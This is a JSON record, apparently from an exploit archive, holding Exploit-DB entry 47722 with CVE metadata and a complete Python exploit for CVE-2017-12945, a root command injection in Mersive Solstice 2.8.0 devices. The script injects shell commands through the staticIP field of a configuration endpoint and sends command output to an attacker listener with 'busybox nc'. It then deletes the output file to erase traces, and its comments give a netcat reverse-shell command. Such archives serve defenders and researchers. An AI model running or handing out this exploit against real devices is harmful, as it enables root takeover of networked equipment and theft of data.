{"exploit":{"id":"EDB-47722","name":"Mersive Solstice 2.8.0 - Remote Code Execution (RCE)","description":"Mersive Solstice 2.8.0 - Remote Code Execution (RCE)","cves":["CVE-2017-12945"],"author":"Alexandre Teyar","published":"2019-11-28","platform":"android","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/47722","path":"exploits/android/webapps/47722.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-47722.py","vulnerabilities":[{"id":"CVE-2017-12945","state":"PUBLISHED","title":null,"titleSource":null,"description":"Insufficient validation of user-supplied input for the Solstice Pod before 2.8.4 networking configuration enables authenticated attackers to execute arbitrary commands as root.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-12945","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-12945"},"updatedAt":"2024-08-05T18:51:07.330Z","retrievedAt":"2026-11-26T07:07:31.767Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-47722.png?v=2","url":"https://exploitbin.com/exploits/EDB-47722","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-47722/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-47722/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n# Exploit Title: Mersive Solstice 2.8.0 - Remote Code Execution\n# Google Dork: N/A\n# Date: 2016-12-23\n# Exploit Author: Alexandre Teyar\n# Vendor Homepage: https://www2.mersive.com/\n# Firmware Link: http://www.mersive.com/Support/Releases/SolsticeServer/SGE/Android/2.8.0/Solstice.apk\n# Versions: 2.8.0\n# Tested On: Mersive Solstice 2.8.0\n# CVE: CVE-2017-12945\n# Description       : This will exploit an (authenticated) blind OS command injection\n#                     vulnerability present in Solstice devices running versions\n#                     of the firmware prior to 2.8.4.\n# Notes             : To get the the command output (in piped-mode), a netcat listener\n#                     (e.g. 'nc -lkvp <LPORT>') needs to be launched before\n#                     running the exploit.\n#                     To get an interactive root shell use the following syntax\n#                     'python.exe .\\CVE-2017-12945.py -pass <PASSWORD>\n#                     -rh <RHOST> -p \"busybox nc <LHOST> <LPORT>\n#                     -e /system/bin/sh -i\"'.\n\n\n\nimport argparse\nimport logging\nimport requests\nimport sys\nimport time\n\n\ndef parse_args():\n    \"\"\" Parse and validate the command line supplied by users\n    \"\"\"\n    parser = argparse.ArgumentParser(\n                description=\"Solstice Pod Blind Command Injection\"\n            )\n\n    parser.add_argument(\n        \"-d\",\n        \"--debug\",\n        dest=\"loglevel\",\n        help=\"enable verbose debug mode\",\n        required=False,\n        action=\"store_const\",\n        const=logging.DEBUG,\n        default=logging.INFO\n    )\n    parser.add_argument(\n        \"-lh\",\n        \"--lhost\",\n        dest=\"lhost\",\n        help=\"the listening address\",\n        required=False,\n        type=str\n    )\n    parser.add_argument(\n        \"-lp\",\n        \"--lport\",\n        dest=\"lport\",\n        help=\"the listening port - default 4444\",\n        required=False,\n        default=\"4444\",\n        type=str\n    )\n    parser.add_argument(\n        \"-p\",\n        \"--payload\",\n        dest=\"payload\",\n        help=\"the command to execute\",\n        required=True,\n        type=str\n    )\n    parser.add_argument(\n        \"-pass\",\n        \"--password\",\n        dest=\"password\",\n        help=\"the target administrator password\",\n        required=False,\n        default=\"\",\n        type=str\n    )\n    parser.add_argument(\n        \"-rh\",\n        \"--rhost\",\n        dest=\"rhost\",\n        help=\"the target address\",\n        required=True,\n        type=str\n    )\n\n    return parser.parse_args()\n\n\ndef main():\n    try:\n        args = parse_args()\n\n        lhost = args.lhost\n        lport = args.lport\n        password = args.password\n        rhost = args.rhost\n\n        logging.basicConfig(\n            datefmt=\"%H:%M:%S\",\n            format=\"%(asctime)s: %(levelname)-8s %(message)s\",\n            handlers=[logging.StreamHandler()],\n            level=args.loglevel\n        )\n\n        # Redirect stdout and stderr to <FILE>\n        # only when the exploit is launched in piped mode\n        if lhost and lport:\n            payload = args.payload + \" > /data/local/tmp/rce.tmp 2>&1\"\n            logging.info(\n                \"attacker listening address: {}:{}\".format(lhost, lport)\n            )\n        else:\n            payload = args.payload\n\n        logging.info(\"solstice pod address: {}\".format(rhost))\n\n        if password:\n            logging.info(\n                \"solstice pod administrator password: {}\".format(password)\n            )\n\n        # Send the payload to be executed\n        logging.info(\"sending the payload...\")\n        send_payload(rhost, password, payload)\n\n        # Send the results of the payload execution to the attacker\n        # using 'nc <LHOST> <LPORT> < <FILE>' then remove <FILE>\n        if lhost and lport:\n            payload = (\n                \"busybox nc {} {} < /data/local/tmp/rce.tmp \".format(\n                    lhost, lport\n                )\n            )\n\n            logging.info(\"retrieving the results...\")\n            send_payload(rhost, password, payload)\n\n            # Erase exploitation traces\n            payload = \"rm -f /data/local/tmp/rce.tmp\"\n\n            logging.info(\"erasing exploitation traces...\")\n            send_payload(rhost, password, payload)\n\n    except KeyboardInterrupt:\n        logging.warning(\"'CTRL+C' pressed, exiting...\")\n        sys.exit(0)\n\n\ndef send_payload(rhost, password, payload):\n    URL = \"http://{}/Config/service/saveData\".format(rhost)\n\n    headers = {\n        \"Content-Type\": \"application/json\",\n        \"X-Requested-With\": \"XMLHttpRequest\",\n        \"Referer\": \"http://{}/Config/config.html\".format(rhost)\n    }\n\n    data = {\n        \"m_networkCuration\":\n        {\n            \"ethernet\":\n            {\n                \"dhcp\": False,\n                \"staticIP\": \"; {}\".format(payload),\n                \"gateway\": \"\",\n                \"prefixLength\": 24,\n                \"dns1\": \"\",\n                \"dns2\": \"\"\n            }\n        },\n        \"password\": \"{}\".format(password)\n    }\n\n    # Debugging using the BurpSuite\n    # proxies = {\n    #     'http': 'http://127.0.0.1:8080',\n    #     'https': 'https://127.0.0.1:8080'\n    # }\n\n    try:\n        logging.info(\"{}\".format(payload))\n\n        response = requests.post(\n            URL,\n            headers=headers,\n            # proxies=proxies,\n            json=data\n        )\n\n        logging.debug(\n            \"{}\".format(response.json())\n        )\n\n        # Wait for the command to be executed\n        time.sleep(2)\n\n    except requests.exceptions.RequestException as ex:\n        logging.error(\"{}\".format(ex))\n        sys.exit(0)\n\n\nif __name__ == \"__main__\":\n    main()","sha256":"5751d241e2c4dc273358acd669d498cc48c8560b690eae17e8677027be7a7f30","bytes":5658,"fetchedAt":"2026-11-26T18:08:11.484Z","encoding":"utf-8 (display only; download retains original bytes)"}